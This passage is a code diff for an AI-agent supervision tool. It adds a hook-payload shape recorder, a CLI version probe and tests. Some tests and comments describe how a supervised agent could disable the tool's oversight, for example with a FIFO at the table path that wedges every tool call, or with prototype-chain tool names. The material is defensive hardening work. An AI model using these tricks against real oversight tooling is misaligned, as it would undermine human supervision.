mkdirSync(dirname(contractTableFile()), { recursive: true }); + writeFileSync(contractTableFile(), "{ not json at all"); + + expect(() => record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { command: "ls" } })).not.toThrow(); + expect(readTable().clis.claude.hooks.PreToolUse.tools?.Bash).toEqual(["command"]); + }); + + it("starts clean when the table is valid JSON of the wrong shape", () => { + mkdirSync(dirname(contractTableFile()), { recursive: true }); + writeFileSync(contractTableFile(), JSON.stringify({ schemaVersion: 99, clis: "nope" })); + + expect(() => record("claude", "Stop", { session_id: "s" })).not.toThrow(); + expect(readTable().schemaVersion).toBe(1); + }); + + it("enforces the caps on the READ path, not only on the write path", () => { + // A hand-edited or hostile file is otherwise an unbounded input that we + // then parse synchronously on the hook path. + const clis: Record = {}; + for (let i = 0; i < 100; i++) clis[`cli-${i}`] = { hooks: { Stop: { envelope: ["a"] } } }; + mkdirSync(dirname(contractTableFile()), { recursive: true }); + writeFileSync(contractTableFile(), JSON.stringify({ schemaVersion: 1, updatedAt: null, clis })); + + restartWorker(); + record("claude", "Stop", { session_id: "s" }); + expect(Object.keys(contractTableSnapshot().clis).length).toBeLessThanOrEqual(32); + }); +}); + +describe("contract-observer: hostile and malformed input", () => { + it("does not block when the table path is a FIFO the agent created", () => { + // The file lives under the same uid as the agent this product supervises. + // A blocking read here would wedge the serialized chain, deny every tool + // call on the machine across all twelve CLIs, and survive restarts — and a + // blocked event loop cannot run the wedge watchdog meant to catch it. + mkdirSync(dirname(contractTableFile()), { recursive: true }); + try { + execFileSync("mkfifo", [contractTableFile()]); + } catch { + return; // no mkfifo on this platform; nothing to assert + } + + const started = Date.now(); + expect(() => record("claude", "Stop", { session_id: "s" })).not.toThrow(); + expect(Date.now() - started).toBeLessThan(2000); + }); + + it("does not throw on prototype-chain names, which the model controls", () => { + // `__proto__` and `constructor` are legal MCP tool-name characters, and a + // plain-object lookup returns an inherited member instead of undefined. + for (const name of ["__proto__", "constructor", "toString", "hasOwnProperty"]) { + expect(() => record("claude", "PreToolUse", { tool_name: name, tool_input: { a: 1 } })).not.toThrow(); + expect(() => record(name, "PreToolUse", { tool_name: "Bash", tool_input: { a: 1 } })).not.toThrow(); + expect(() => record("claude", name, { session_id: "s" })).not.toThrow(); + } + // And the observation still lands. + expect(readTable().clis.claude.hooks.PreToolUse.tools?.__proto__).toEqual(["a"]); + }); + + it("never throws on input it cannot use", () => { + expect(() => recordHookShape("claude", "PreToolUse", "not json")).not.toThrow(); + expect(() => recordHookShape("claude", "PreToolUse", "")).not.toThrow(); + expect(() => recordHookShape("claude", "PreToolUse", "[1,2,3]")).not.toThrow(); + expect(() => recordHookShape("claude", "PreToolUse", "null")).not.toThrow(); + expect(() => recordHookShape("", "PreToolUse", "{}")).not.toThrow(); + expect(() => recordHookShape("claude", "", "{}")).not.toThrow(); + expect(existsSync(contractTableFile())).toBe(false); + }); + + it("skips an oversize payload rather than parsing it twice", () => { + record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { command: "x".repeat(300 * 1024) } }); + expect(existsSync(contractTableFile())).toBe(false); + }); +}); + +describe("contract-observer: bounds", () => { + it("caps tool names, which arrive from user-authored MCP servers", () => { + for (let i = 0; i < 260; i++) { + record("claude", "PreToolUse", { tool_name: `mcp__server__tool_${i}`, tool_input: { a: 1 } }); + } + expect(Object.keys(readTable().clis.claude.hooks.PreToolUse.tools ?? {}).length).toBe(200); + expect(readTable().truncated).toBe(true); + }); + + it("caps keys within a single shape", () => { + const wide: Record = {}; + for (let i = 0; i < 100; i++) wide[`k${i}`] = 1; + record("claude", "PreToolUse", { tool_name: "Wide", tool_input: wide }); + expect(readTable().clis.claude.hooks.PreToolUse.tools?.Wide.length).toBe(64); + }); + + it("caps the number of CLIs", () => { + for (let i = 0; i < 40; i++) record(`cli-${i}`, "Stop", { session_id: "s" }); + expect(Object.keys(readTable().clis).length).toBe(32); + }); + + it("keeps the whole table small no matter how much it is fed", () => { + // Counts alone do not bound bytes: caps that only count entries still + // multiply out (32 x 64 x 200 x 64 names) to a table too large to + // serialize. Hold the writes off so this measures the byte ceiling rather + // than the cost of writing on every discovery. + process.env.FAILPROOFAI_OBSERVE_INTERVAL_MS = String(60 * 60 * 1000); + for (let cli = 0; cli < 40; cli++) { + for (let hook = 0; hook < 70; hook++) { + for (let tool = 0; tool < 20; tool++) { + record(`cli-${cli}`, `hook-${hook}`, { + tool_name: `tool-${tool}`, + tool_input: { ["k".repeat(100)]: 1, b: 2 }, + }); + } + } + } + flushContractTable(); + expect(statSync(contractTableFile()).size).toBeLessThan(1024 * 1024); + expect(readTable().truncated).toBe(true); + }, 20_000); + + it("writes the table owner-only", () => { + record("claude", "Stop", { session_id: "s" }); + expect(statSync(contractTableFile()).mode & 0o077).toBe(0); + }); + + it("keeps recording when the table cannot be written", () => { + // A read-only or full disk must not turn into a throw on the hook path. + mkdirSync(homeDir, { recursive: true }); + writeFileSync(dirname(contractTableFile()), "not a directory"); + resetContractObserverForTests(); + + expect(() => record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { command: "ls" } })).not.toThrow(); + expect(contractTableSnapshot().clis.claude.hooks.PreToolUse.tools?.Bash).toEqual(["command"]); + }); + + it("flushContractTable is a no-op before anything has been observed", () => { + expect(() => flushContractTable()).not.toThrow(); + expect(existsSync(contractTableFile())).toBe(false); + }); +}); + +describe("contract-observer: the version probe, end to end", () => { + let binDir: string; + let originalPath: string | undefined; + + beforeEach(() => { + binDir = mkdtempSync(join(tmpdir(), "fpai-observer-bin-")); + originalPath = process.env.PATH; + process.env.PATH = `${binDir}${delimiter}${originalPath ?? ""}`; + process.env.FAILPROOFAI_OBSERVE_VERSIONS = "1"; + writeFileSync(join(binDir, "goose"), '#!/bin/sh\necho "7.7.7"\n', { mode: 0o755 }); + chmodSync(join(binDir, "goose"), 0o755); + }); + + afterEach(() => { + if (originalPath === undefined) delete process.env.PATH; + else process.env.PATH = originalPath; + rmSync(binDir, { recursive: true, force: true }); + }); + + it("persists the version at the moment it is learned, not on the next hook", async () => { + // The worker is SIGKILLed, so "on the next event" is frequently "never" — + // a probe that costs a fork and then persists nothing is the worst of both. + record("goose", "PreToolUse", { tool_name: "shell", tool_input: { command: "ls" } }); + await new Promise((r) => setTimeout(r, 1500)); + + expect(readTable().clis.goose.version).toBe("7.7.7"); + expect(readTable().clis.goose.versionCheckedAt).toBeTruthy(); + }, 15_000); + + it("does not re-probe while one is already in flight for that CLI", async () => { + for (let i = 0; i < 20; i++) { + record("goose", "PreToolUse", { tool_name: `t${i}`, tool_input: { a: 1 } }); + } + await new Promise((r) => setTimeout(r, 1500)); + expect(readTable().clis.goose.version).toBe("7.7.7"); + }, 15_000); + + it("survives the write failing inside the probe callback", async () => { + // This is the one genuinely asynchronous path in the module: the callback + // runs on the event loop, where an escaping throw is an uncaught exception + // and kills the worker. + record("goose", "PreToolUse", { tool_name: "shell", tool_input: { command: "ls" } }); + rmSync(dirname(contractTableFile()), { recursive: true, force: true }); + writeFileSync(dirname(contractTableFile()), "not a directory"); + + await new Promise((r) => setTimeout(r, 1500)); + // Still recorded in memory; the process is still alive to assert it. + expect(contractTableSnapshot().clis.goose.version).toBe("7.7.7"); + }, 15_000); +}); diff --git a/__tests__/hooks/worker-request-shape.test.ts b/__tests__/hooks/worker-request-shape.test.ts index 07b3162c5..44a18a3ee 100644 --- a/__tests__/hooks/worker-request-shape.test.ts +++ b/__tests__/hooks/worker-request-shape.test.ts @@ -61,6 +61,11 @@ describe("the worker accepts what the daemon sends", () => { async function serve() { dir = mkdtempSync(resolve(tmpdir(), "fpai-wsock-")); + // Isolate the home. Driving the real hook path writes to `~/.failproofai` + // — the decision log, and now `contracts/observed.json` — so without this + // the suite records into the DEVELOPER'S own home, exactly as + // `worker-server.test.ts` documents finding for hook-activity. + process.env.FAILPROOFAI_HOME = resolve(dir, "home"); sock = resolve(dir, "worker.sock"); server = startWorkerServer(sock); // `listen` is async; wait for the socket to exist before dialling it. @@ -73,6 +78,7 @@ describe("the worker accepts what the daemon sends", () => { async function shutdown() { await new Promise((res) => (server ? server.close(() => res()) : res())); server = null; + delete process.env.FAILPROOFAI_HOME; } it("accepts `cwd: null` — what serde renders an absent Option as", async () => { diff --git a/crates/failproofaid/src/server.rs b/crates/failproofaid/src/server.rs index ab751eeb4..6385c4b29 100644 --- a/crates/failproofaid/src/server.rs +++ b/crates/failproofaid/src/server.rs @@ -511,7 +511,19 @@ mod tests { .unwrap(); let socket_path = temp_socket_path("hook-real-worker"); - let worker_cmd = WorkerCommand::shell(format!("bun {}", worker_script.display())); + // Point the worker at a throwaway home. It writes there on every hook + // — the decision log, and `contracts/observed.json` — and the observer + // resolves CLI versions by forking vendor binaries when it sees a + // worker socket. Without this, `cargo test` records into the + // developer's (or the CI runner's) own `~/.failproofai` and execs + // whatever agent CLIs happen to be installed on the box. + let worker_home = project_dir.join("fpai-home"); + std::fs::create_dir_all(&worker_home).unwrap(); + let worker_cmd = WorkerCommand::shell(format!( + "FAILPROOFAI_HOME={} bun {}", + worker_home.display(), + worker_script.display() + )); let _guard = start_test_server_with_worker(socket_path.clone(), worker_cmd); let stdin = serde_json::json!({ diff --git a/src/hooks/cli-version-probe.ts b/src/hooks/cli-version-probe.ts new file mode 100644 index 000000000..c882ec570 --- /dev/null +++ b/src/hooks/cli-version-probe.ts @@ -0,0 +1,304 @@ +/** + * Resolve an agent CLI's version by running ` --version`. + * + * Two constraints shape every line of this file, both of them properties of the + * warm worker that calls it: + * + * 1. **Nothing here may produce a promise.** There is no + * `process.on("unhandledRejection")` anywhere in the worker path, and Node's + * default is `--unhandled-rejections=throw`, so a single floating rejection + * kills the worker — and on a daemon-configured machine a dead worker denies + * the in-flight tool call. So this is callback-based `spawn`, never + * `execFile`-with-promise, never `async`. The `error` listener is mandatory + * rather than defensive: an unhandled `error` event on a ChildProcess throws + * out of the EventEmitter, which is an uncaught exception, which is the same + * dead worker. + * + * 2. **PATH cannot be trusted.** The worker inherits the daemon's environment, + * and the daemon is a system-scope service — systemd builds its PATH without + * ever reading a login shell, and launchd is worse. Every agent CLI here is + * installed by npm-global, a vendor installer, or Homebrew, none of which are + * on that PATH. `which copilot` from inside the worker returns nothing on a + * machine with copilot plainly installed, and it fails silently. So we search + * the install locations directly, the same way `scripts/dev-hook.mjs` already + * has to for bun. + * + * A probe that fails is not an error: it reports `null` and the caller records + * that it tried. An uninstalled CLI, a renamed flag and a hung binary are all + * the same answer here — "no version" — because none of them is worth a retry + * storm on the hook path. + */ +import { spawn } from "node:child_process"; +import { constants, accessSync, readdirSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { delimiter, dirname, join } from "node:path"; + +/** + * Binary names per integration, matching `detectInstalled()` in + * `integrations.ts`. Kept as a list because two integrations ship under more + * than one name depending on install route. + */ +const CLI_BINARIES: Readonly> = { + claude: ["claude", "claude-code"], + codex: ["codex"], + copilot: ["copilot"], + // `integrations.ts` also accepts a bare `agent` for cursor. Deliberately NOT + // repeated here: `detectInstalled()` only asks whether something with that + // name is on PATH, while this module EXECUTES what it finds, across ~15 + // guessed directories. `agent` is a name plenty of unrelated programs use, + // and one of those directories is writable by the agent we supervise. + cursor: ["cursor-agent"], + opencode: ["opencode"], + pi: ["pi"], + hermes: ["hermes"], + openclaw: ["openclaw"], + factory: ["droid"], + devin: ["devin"], + antigravity: ["agy"], + goose: ["goose"], +}; + +/** Vendor install dirs, relative to HOME. `install-clis.sh` is the source. */ +const HOME_BIN_DIRS = [ + ".local/bin", + "bin", + ".bun/bin", + ".npm-global/bin", + ".opencode/bin", + ".factory/bin", + ".cursor/bin", + ".codex/bin", + ".hermes/bin", + ".openclaw/bin", + ".pi/bin", +] as const; + +const SYSTEM_BIN_DIRS = ["/opt/homebrew/bin", "/usr/local/bin", "/usr/bin", "/bin"] as const; + +/** Generous: the slowest CLI measured locally is ~1.2s, and this is off the hook path. */ +const DEFAULT_PROBE_TIMEOUT_MS = 5_000; + +function probeTimeoutMs(): number { + const raw = process.env.FAILPROOFAI_PROBE_TIMEOUT_MS; + if (!raw) return DEFAULT_PROBE_TIMEOUT_MS; + const parsed = Number.parseInt(raw, 10); + return Number.isFinite(parsed) && parsed > 0 ? parsed : DEFAULT_PROBE_TIMEOUT_MS; +} + +/** A `--version` that prints a banner must not be able to buffer without bound. */ +const MAX_OUTPUT_BYTES = 4096; + +function homeDir(): string { + return process.env.HOME || homedir(); +} + +/** + * The child's environment, with the running Node's own directory on PATH. + * + * Most of these CLIs are npm packages whose bin is a `#!/usr/bin/env node` + * shim. The daemon is a system-scope service whose PATH is built without ever + * reading a login shell — on a normal machine that is + * `/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin`, and nvm's node is on + * none of them. The shebang then fails with `/usr/bin/env: ‘node’: No such + * file or directory` and the CLI never runs at all: observed live on a real + * daemon for codex, copilot and pi, on a machine where all three work + * perfectly from a shell. + * + * `process.execPath` is the node actually executing this code, which is by + * construction a node that exists. It is the same fix, for the same reason, + * that the installed service unit already applies to the worker command. + */ +function childEnv(): NodeJS.ProcessEnv { + const nodeDir = dirname(process.execPath); + const current = process.env.PATH ?? ""; + const alreadyThere = current.split(delimiter).includes(nodeDir); + return alreadyThere ? process.env : { ...process.env, PATH: `${nodeDir}${delimiter}${current}` }; +} + +/** + * Every directory that might hold an agent CLI, PATH first so an operator's own + * choice wins over our guesses. + */ +function candidateDirs(): string[] { + const dirs: string[] = []; + const seen = new Set(); + const push = (dir: string): void => { + if (!dir || seen.has(dir)) return; + seen.add(dir); + dirs.push(dir); + }; + + for (const entry of (process.env.PATH || "").split(delimiter)) push(entry); + + const home = homeDir(); + for (const rel of HOME_BIN_DIRS) push(join(home, rel)); + for (const dir of SYSTEM_BIN_DIRS) push(dir); + + // Every nvm-managed node version's bin dir. `npm i -g ` lands the binary + // in exactly ONE version's bin, so `nvm use ` hides it — the same + // trap dev-hook.mjs documents for bun. Newest first. + try { + const nvmRoot = join(home, ".nvm", "versions", "node"); + for (const version of readdirSync(nvmRoot).sort().reverse()) { + push(join(nvmRoot, version, "bin")); + } + } catch { + // No nvm on this machine. + } + + return dirs; +} + +/** Absolute path to the CLI's binary, or null when it is not installed. */ +export function resolveCliBinary(cli: string): string | null { + const names = CLI_BINARIES[cli]; + if (!names) return null; + for (const dir of candidateDirs()) { + for (const name of names) { + const candidate = join(dir, name); + try { + // `existsSync` alone accepts a directory or a non-executable file, and + // resolution would stop there — leaving a genuinely installed CLI + // permanently unprobeable behind a same-named decoy earlier on PATH. + if (!statSync(candidate).isFile()) continue; + accessSync(candidate, constants.X_OK); + return candidate; + } catch { + // Missing, unreadable, or not executable — keep looking. + } + } + } + return null; +} + +/** + * First version-looking token in the output, or null. + * + * Loose about FORMAT — these vendors print anything from a bare `1.43.0` to + * `droid version 0.171.0 (build abc123)` — but strict about there being a + * version at all. An earlier version fell back to the whole first line when no + * digit-led token was found, on the theory that recording something we can + * eyeball beats recording nothing. Live on a real daemon that produced + * `version: "/usr/bin/env: ‘node’: No such file or directory"` for three CLIs: + * the probe had failed, and the fallback dressed the failure up as an answer. + * A wrong version is worse than a missing one — it is the exact + * claim-that-outlives-its-evidence this whole feature exists to catch — so + * output with no version-shaped token is now simply no version. + */ +export function parseCliVersionOutput(raw: string): string | null { + const line = raw + .split("\n") + .map((s) => s.trim()) + .find((s) => s.length > 0); + if (!line) return null; + const match = line.match(/\d[\w.+-]*/); + if (!match) return null; + // Trailing punctuation is sentence punctuation, not part of the version. + // Copilot prints `GitHub Copilot CLI 1.0.80.` — recording `1.0.80.` would + // make every comparison against a real version string fail. + const trimmed = match[0].replace(/[^0-9A-Za-z]+$/, ""); + return trimmed ? trimmed.slice(0, 64) : null; +} + +/** + * Run ` --version`, calling `done` exactly once with the version or null. + * + * Never throws and never returns a promise. `done` is invoked inside a + * try/catch because a throw from the caller's callback would otherwise surface + * as an uncaught exception on the event loop, killing the worker for a + * diagnostic. + * + * The child is `unref`'d, so this call does NOT hold the process open — which + * is what we want inside the worker (whose listening socket keeps the loop + * alive anyway, so the callback always lands) and is a trap anywhere else: a + * short-lived script that starts a probe and has nothing else pending exits + * before the callback fires, silently. + */ +export function probeCliVersion(cli: string, done: (version: string | null) => void): void { + let settled = false; + const finish = (version: string | null): void => { + if (settled) return; + settled = true; + try { + done(version); + } catch { + // A diagnostic must never take the process with it. + } + }; + + let binary: string | null = null; + try { + binary = resolveCliBinary(cli); + } catch { + binary = null; + } + if (!binary) { + finish(null); + return; + } + + try { + const child = spawn(binary, ["--version"], { + stdio: ["ignore", "pipe", "pipe"], + windowsHide: true, + env: childEnv(), + }); + + let out = ""; + const collect = (chunk: Buffer): void => { + if (out.length >= MAX_OUTPUT_BYTES) return; + out += chunk.toString("utf8"); + }; + + // Our own deadline rather than spawn's `timeout` option, which sends one + // SIGTERM and never escalates — a binary that ignores it is then never + // reaped, `close` never fires, and the caller's in-flight latch is stuck + // for the life of the worker. SIGKILL cannot be ignored. + const deadline = setTimeout(() => { + try { + child.kill("SIGKILL"); + } catch { + // Already gone. + } + finish(parse(out)); + }, probeTimeoutMs()); + deadline.unref?.(); + + const settle = (): void => { + clearTimeout(deadline); + finish(parse(out)); + }; + + // Mandatory, not defensive — see the file header. An unhandled `error` + // event throws out of the EventEmitter, which is an uncaught exception. + child.on("error", () => { + clearTimeout(deadline); + finish(null); + }); + child.stdout?.on("error", () => {}); + child.stderr?.on("error", () => {}); + child.stdout?.on("data", collect); + // Some vendors print the version to stderr; recording nothing for those + // would be indistinguishable from "not installed". + child.stderr?.on("data", collect); + // `exit` fires when the process dies; `close` additionally waits for the + // stdio streams, which a grandchild holding the pipe open can delay + // indefinitely. Listening to both means the deadline is the only thing + // that can be waiting on us. + child.on("exit", settle); + child.on("close", settle); + child.unref?.(); + } catch { + // spawn() throws synchronously on a bad path or an EMFILE. + finish(null); + } +} + +/** Parsing is inside the caller's guarded path; keep it unable to throw here. */ +function parse(out: string): string | null { + try { + return parseCliVersionOutput(out); + } catch { + return null; + } +} diff --git a/src/hooks/contract-observer.ts b/src/hooks/contract-observer.ts new file mode 100644 index 000000000..3871e2619 --- /dev/null +++ b/src/hooks/contract-observer.ts @@ -0,0 +1,518 @@ +/** + * A per-CLI record of what the agent CLIs ACTUALLY send us. + * + * Every policy failproofai enforces depends on a hand-written translation of + * some vendor's payload into our canonical shape — `COPILOT_TOOL_INPUT_MAP` and + * its ten siblings in `types.ts`. Those maps were each verified live against one + * version of one vendor's CLI, and nothing since re-checks them. When a vendor + * renames a key the translation silently produces an input no policy can read, + * the product keeps reporting success, and we find out by accident. Copilot + * 1.0.71 renamed `file_path` to `path` and `block-env-files` went inert on a + * live `.env` read. + * + * This module is the first step toward noticing: it writes down, per CLI and per + * hook event, the key names the vendor is really sending. Comparing that against + * what our maps expect is a separate job — this one only establishes the ground + * truth, because today we have none. + * + * ## What it will and will not record + * + * Key NAMES and the vendor's TOOL NAME. Nothing else. `keyNamesOf` returns + * `Object.keys(...)`, so no value can reach the table through a payload field — + * but the tool name (`tool_name` / `toolName` / `toolCall.name`) *is* a value, + * it is a map key here, and pretending otherwise would be exactly the kind of + * claim-that-outlives-its-evidence this module exists to catch. It is recorded + * deliberately, because a rename like `Execute → Run` is drift we need to see, + * and it is length-capped like everything else. Tool names from MCP servers can + * carry an organisation's own vocabulary; that is the one thing in this file a + * reader should think about before pasting it into a public issue. + * + * ## Why it is shaped the way it is + * + * **Entirely synchronous on the record path.** There is no + * `process.on("unhandledRejection")` in the worker path and Node defaults to + * `--unhandled-rejections=throw`, so one floating rejection kills the worker — + * and on a daemon-configured machine that denies the tool call in flight. The + * version probe is the one asynchronous thing here and is callback-based for the + * same reason (see `cli-version-probe.ts`). + * + * **It writes when it LEARNS something, not on a clock.** The obvious design — + * accumulate in memory, write once a day — is broken on the machine it targets: + * the daemon SIGKILLs the worker, so there is no shutdown flush, and a worker + * that restarts more often than the interval loads a file too recent to trigger + * a write, accumulates, and dies. Every generation after the first would discard + * everything it saw, forever, while looking like it was working. So `dirty` is + * set only when the table actually CHANGED, and a change is written within + * `MIN_WRITE_INTERVAL_MS`. In steady state — the vendor sends what it has always + * sent — nothing changes and nothing is written at all, which is quieter than a + * daily write and, unlike it, cannot lose the day a vendor changed something. + * + * **The table is read defensively because the file is agent-writable.** It lives + * under the same uid as the agent this product supervises, so a `mkfifo` at that + * path would otherwise block `readFileSync` forever — wedging the serialized + * chain, denying every tool call on the machine across all twelve CLIs, and + * surviving restarts, because a blocked event loop cannot run the wedge + * watchdog that exists to catch exactly this. Hence O_NONBLOCK + `fstat` + + * a size cap + a bounded read. + * + * **Everything is bounded, in bytes and not only in count.** Tool names and key + * names arrive from MCP servers, Skills and third-party extensions, so both + * their number and their length are outside our control. + * + * Keys are UNIONED rather than overwritten. Optional keys (`Bash` sends + * `description` sometimes) would otherwise make the recorded shape flicker with + * whichever call happened to land last, and a flickering record is worse than no + * record: it looks like drift every time it moves. + */ +import { closeSync, constants, fstatSync, openSync, readSync } from "node:fs"; +import { writeJsonAtomically } from "../../lib/atomic-write"; +import { contractTableFile } from "./fp-home"; +import { probeCliVersion } from "./cli-version-probe"; + +const SCHEMA_VERSION = 1; + +/** + * Floor between writes. Not a cadence — nothing is written unless something was + * learned. This only stops a burst of first-contact discoveries from writing + * once per event while a machine warms up. + */ +const DEFAULT_MIN_WRITE_INTERVAL_MS = 60_000; + +/** + * Skip payloads larger than this rather than parse them. The recorder runs + * inside the worker's serialized chain, so its cost lands on every tool call on + * the machine; `MAX_FRAME_LEN` upstream is 16MB, and parsing that twice (the + * evaluator parses it too) is not worth a diagnostic. + */ +const MAX_PAYLOAD_BYTES = 256 * 1024; + +/** Refuse to read a table larger than this — see the header on the FIFO wedge. */ +const MAX_FILE_BYTES = 4 * 1024 * 1024; + +/** Stop accepting NEW entries once the table is this big. */ +const MAX_TABLE_BYTES = 512 * 1024; + +const MAX_KEYS_PER_SHAPE = 64; +const MAX_TOOLS_PER_HOOK = 200; +const MAX_HOOKS_PER_CLI = 64; +const MAX_CLIS = 32; +/** Applies to key names, tool names, CLI ids and hook names alike. */ +const MAX_NAME_LEN = 128; + +export interface HookShape { + /** Top-level key names of the payload envelope. */ + envelope: string[]; + /** Tool-input key names, keyed by the vendor's own tool name. */ + tools?: Record; +} + +export interface CliRecord { + version?: string; + /** Set even when the probe failed, so an uninstalled CLI is not retried hourly. */ + versionCheckedAt?: string; + hooks: Record; +} + +export interface ContractTable { + schemaVersion: number; + updatedAt: string | null; + /** True when a cap stopped us adding something. Printed, never silent. */ + truncated?: boolean; + clis: Record; +} + +let table: ContractTable | null = null; +let lastWriteMs = 0; +let dirty = false; +let approxBytes = 0; +const probesInFlight = new Set(); + +function envInt(name: string, fallback: number): number { + const raw = process.env[name]; + if (!raw) return fallback; + const parsed = Number.parseInt(raw, 10); + return Number.isFinite(parsed) && parsed >= 0 ? parsed : fallback; +} + +function minWriteIntervalMs(): number { + // Read at call time, never memoised at module load — the same rule + // `failproofaiHome()` follows, and for the same reason: tests set it late. + return envInt("FAILPROOFAI_OBSERVE_INTERVAL_MS", DEFAULT_MIN_WRITE_INTERVAL_MS); +} + +/** How stale a recorded version may be before we re-probe. Independent of the write floor. */ +function versionMaxAgeMs(): number { + return envInt("FAILPROOFAI_OBSERVE_VERSION_MAX_AGE_MS", 24 * 60 * 60 * 1000); +} + +/** + * Version probing forks a vendor binary, so it is confined to the real warm + * worker (which is the only process with a worker socket) rather than to every + * in-process caller of `evaluateHookEvent`. Without this, the unit suite forks + * twelve CLIs and the developer's own machine grows a table nobody asked for. + * `=1` forces it on for the one test that exercises the spawn path. + */ +function versionProbingEnabled(): boolean { + const flag = process.env.FAILPROOFAI_OBSERVE_VERSIONS; + if (flag === "0") return false; + if (flag === "1") return true; + return Boolean(process.env.FAILPROOFAI_WORKER_SOCKET); +} + +/** Null-prototype so a key like `__proto__` or `constructor` is just a key. */ +function emptyMap(): Record { + return Object.create(null) as Record; +} + +function emptyTable(): ContractTable { + return { schemaVersion: SCHEMA_VERSION, updatedAt: null, clis: emptyMap() }; +} + +function isPlainObject(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +function usableName(value: unknown): value is string { + return typeof value === "string" && value.length > 0 && value.length <= MAX_NAME_LEN; +} + +function stringArray(value: unknown): string[] | null { + if (!Array.isArray(value)) return null; + const out: string[] = []; + for (const entry of value) { + if (typeof entry !== "string") return null; + if (out.length >= MAX_KEYS_PER_SHAPE) break; + if (entry.length > MAX_NAME_LEN) continue; + out.push(entry); + } + return out; +} + +/** + * Validate a table read off disk field by field, enforcing the SAME caps as the + * write path — a hand-edited or hostile file is otherwise an unbounded input + * that we then parse synchronously on the hook path. Degrades to a fresh table + * on anything unexpected: losing the history costs a day of observation, and + * throwing here would cost a tool call. + */ +function parseTable(raw: unknown): ContractTable | null { + if (!isPlainObject(raw)) return null; + if (raw.schemaVersion !== SCHEMA_VERSION) return null; + if (!isPlainObject(raw.clis)) return null; + + const clis = emptyMap(); + let cliCount = 0; + for (const [cli, value] of Object.entries(raw.clis)) { + if (cliCount >= MAX_CLIS) break; + if (!usableName(cli) || !isPlainObject(value) || !isPlainObject(value.hooks)) continue; + + const hooks = emptyMap(); + let hookCount = 0; + for (const [hookName, hookValue] of Object.entries(value.hooks)) { + if (hookCount >= MAX_HOOKS_PER_CLI) break; + if (!usableName(hookName) || !isPlainObject(hookValue)) continue; + const envelope = stringArray(hookValue.envelope); + if (!envelope) continue; + + const shape: HookShape = { envelope }; + if (isPlainObject(hookValue.tools)) { + const tools = emptyMap(); + let toolCount = 0; + for (const [toolName, toolKeys] of Object.entries(hookValue.tools)) { + if (toolCount >= MAX_TOOLS_PER_HOOK) break; + if (!usableName(toolName)) continue; + const keys = stringArray(toolKeys); + if (!keys) continue; + tools[toolName] = keys; + toolCount++; + } + if (toolCount > 0) shape.tools = tools; + } + hooks[hookName] = shape; + hookCount++; + } + + const record: CliRecord = { hooks }; + if (usableName(value.version)) record.version = value.version; + if (usableName(value.versionCheckedAt)) record.versionCheckedAt = value.versionCheckedAt; + clis[cli] = record; + cliCount++; + } + + return { + schemaVersion: SCHEMA_VERSION, + updatedAt: typeof raw.updatedAt === "string" ? raw.updatedAt : null, + clis, + }; +} + +/** + * Read the table without ever blocking. + * + * O_NONBLOCK so opening a FIFO returns instead of waiting for a writer, then + * `fstat` on the descriptor we actually hold (not a path that could have been + * swapped underneath us) to reject anything that is not a regular file of + * sane size. + */ +function readTableFile(path: string): unknown { + let fd: number | undefined; + try { + fd = openSync(path, constants.O_RDONLY | constants.O_NONBLOCK); + const stat = fstatSync(fd); + if (!stat.isFile() || stat.size === 0 || stat.size > MAX_FILE_BYTES) return null; + const buf = Buffer.allocUnsafe(stat.size); + let read = 0; + while (read < stat.size) { + const n = readSync(fd, buf, read, stat.size - read, read); + if (n <= 0) break; + read += n; + } + approxBytes = read; + return JSON.parse(buf.subarray(0, read).toString("utf8")); + } finally { + if (fd !== undefined) { + try { + closeSync(fd); + } catch { + // Nothing useful to do; the fd is going away with the process anyway. + } + } + } +} + +function getTable(): ContractTable { + if (table) return table; + let loaded: ContractTable | null = null; + approxBytes = 0; + try { + loaded = parseTable(readTableFile(contractTableFile())); + } catch { + loaded = null; + } + if (!loaded) approxBytes = 0; + table = loaded ?? emptyTable(); + + // Seed from the FILE, not from now: a machine whose worker is SIGKILLed more + // often than the write floor must still be able to write. Clamped to now + // because a future-dated `updatedAt` (clock skew, a hand edit) would + // otherwise disable the writer permanently with no way back. + const parsedAt = table.updatedAt ? Date.parse(table.updatedAt) : 0; + lastWriteMs = Number.isFinite(parsedAt) ? Math.min(parsedAt, Date.now()) : 0; + return table; +} + +/** + * The only place a payload is read. Returns key names and nothing else, so no + * field value can reach the table by any route. + */ +function keyNamesOf(value: unknown): string[] { + if (!isPlainObject(value)) return []; + const out: string[] = []; + for (const key of Object.keys(value)) { + if (out.length >= MAX_KEYS_PER_SHAPE) break; + if (key.length === 0 || key.length > MAX_NAME_LEN) continue; + out.push(key); + } + return out; +} + +/** Union `incoming` into `target`, sorted and capped. Reports whether it changed. */ +function mergeKeys(target: string[], incoming: readonly string[]): boolean { + let changed = false; + for (const key of incoming) { + if (target.length >= MAX_KEYS_PER_SHAPE) break; + if (approxBytes >= MAX_TABLE_BYTES) break; + if (!target.includes(key)) { + target.push(key); + approxBytes += key.length + 6; + changed = true; + } + } + if (changed) target.sort(); + return changed; +} + +/** + * The vendor's raw tool name, before any canonicalization. Covers the three + * envelope spellings in use: canonical snake_case, Copilot's camelCase + * `permissionRequest`, and Antigravity's nested `toolCall`. + */ +function rawToolName(payload: Record): string | null { + const direct = payload.tool_name ?? payload.toolName; + if (usableName(direct)) return direct; + const call = payload.toolCall; + if (isPlainObject(call) && usableName(call.name)) return call.name; + return null; +} + +/** The vendor's raw tool input, in the same three spellings plus Pi's `input`. */ +function rawToolInput(payload: Record): unknown { + const direct = payload.tool_input ?? payload.toolInput; + if (direct !== undefined) return direct; + const call = payload.toolCall; + if (isPlainObject(call) && call.args !== undefined) return call.args; + return payload.input; +} + +function markTruncated(current: ContractTable): void { + if (!current.truncated) { + current.truncated = true; + dirty = true; + } +} + +/** + * Record one hook event's shape. Never throws, never awaits, never blocks. + * + * Callers on the hook path must STILL wrap this in their own try/catch — a + * guarantee that lives in one file is a guarantee that a future edit can + * quietly remove. + */ +export function recordHookShape(cli: string, hookEvent: string, stdin: string): void { + // Fault injection, deliberately inside the shipped function rather than a + // test double. The property under test is that a throw HERE cannot change a + // verdict, and a `vi.spyOn` proves that only for callers that share this + // module instance — not for the spawned one-shot binary, and not for the + // warm worker when the assertion runs in another process. A test that passes + // whether or not the guard exists is worse 